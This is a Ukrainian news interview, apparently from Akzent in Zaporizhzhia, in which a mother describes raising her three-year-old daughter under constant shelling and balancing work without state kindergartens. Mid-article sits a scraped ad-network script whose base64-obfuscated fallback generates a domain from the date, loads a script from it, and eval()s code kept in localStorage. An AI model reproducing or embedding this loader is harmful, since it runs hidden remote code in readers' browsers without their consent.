У Запоріжжі попри постійні обстріли багато людей продовжують працювати, розвиватися і повноцінно жити. Є люди, які навіть не планували виїжджати за межі міста або за кордон, інші вже встигли повернутися.
Прифронтове місто стало хабом для багатьох переселенців, проте безпечним його назвати складно. Журналісти Акцента поспілкувалися з жителькою Запоріжжя Оксаною, яка залишається в рідному місті зі своєю сім’єю — чоловіком та 3-річною дочкою Софією. Ми дізналися, як вдається поєднувати роботу та виховання донечки, адже державні садочки зараз не працюють, як заспокоїти дитину та вберегти її від страху.
Софія, 3 роки, Запоріжжя Чи виїжджали ви з України після повномасштабного вторгнення рф?
Ні, за кордон не виїжджала, були думки виїхати, але не змогла покинути родичів. Один раз довелось виїхати з міста, коли були щоночі атаки з С-300, тоді було страшно за малу дитину. Потім було прийнято рішення повернутися додому.
Які фактори можуть вплинути на те, що ви вирішите залишити прифронтове місто Запоріжжя?
Напевно, постійні обстріли міста та атака окупантів на місто.
Софія та її мати Оксана, Запоріжжя Як адаптуватися з дитиною, як пояснити їй, що відбувається навколо?
Спочатку намагалася не говорити про те, що відбувається. Обстріли довгий час для дитини були громом. Але, так вже затяглося, що дитина сама стала розуміти, що то не грім і їй стало страшно. У такому випадку найголовніше самій залишатися спокійною та не давати приводу для хвилювання. Від емоційного стану матері багато чого залежить. Якщо вже вирішили залишатися вдома, варто створити гарні умови для дитини, наскільки це можливо.
Я знаю, що ви працюєте. Як вдається поєднувати це з вихованням дитини, якщо державні садочки зачинені?
Важко, дуже важко. Першу половину дня дитина в приватному садочку, а іншу половину дня проводить зі мною на роботі. І для неї, і для мене це важко. Інколи сестра або бабуся може посидіти, але в основному зі мною. Мені навіть спокійніше, коли вона поряд. Дякую моєму керівнику, який дозволив мені працювати з дитиною. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Чи боїться дитина вибухів?
Софійці майже 4 роки, тому вона вже може усвідомити, що відбувається. Саме тому вибухи для неї стали випробуванням. Вона дуже їх боїться, коли чує, одразу біжить в коридор. Говорить, що дуже страшно. Я відразу намагаюся її заспокоїти.
Як шукаєте способи розваг у місті для дитини?
Часу на розваги залишається не багато з таким режимом, але нас рятує дитячий садок, також ми займаємося гімнастикою та танцями. У вихідні дні це звичайний дитячий майданчик з друзями, які залишається в місті, як і ми. Саме розваги допомагають відсторонитися від війни. Дітям дуже потрібно відпочинок.
Коли очікуєте на перемогу?
Хочеться якнайшвидше почути, що ми Перемогли. Але, аналізуючи останні новини, ця війна може тривати довше, ніж нам хотілось. Залишається лише вірити в ЗСУ, бути на своєму фронті та допомагати рідному місту.
Насправді далеко не кожна людина готова залишатися зараз у неспокійному місті. Дуже складно вберегти свою дитину не лише від снарядів, але й емоційних потрясінь, яких не уникнути в умовах війни. ЗСУ щодня наближають нашу перемогу. Вони надихають і не дають нам шансу здатися. Віримо, що зовсім скоро наші діти повернуться до щасливого життя без тривог і вибухів… (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/vibuhi-dlya-ditini-dovgo-buli-gromom-yak-u-zaporizhzhi-adaptuyutsya-do-nespokijnogo-zhittya/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
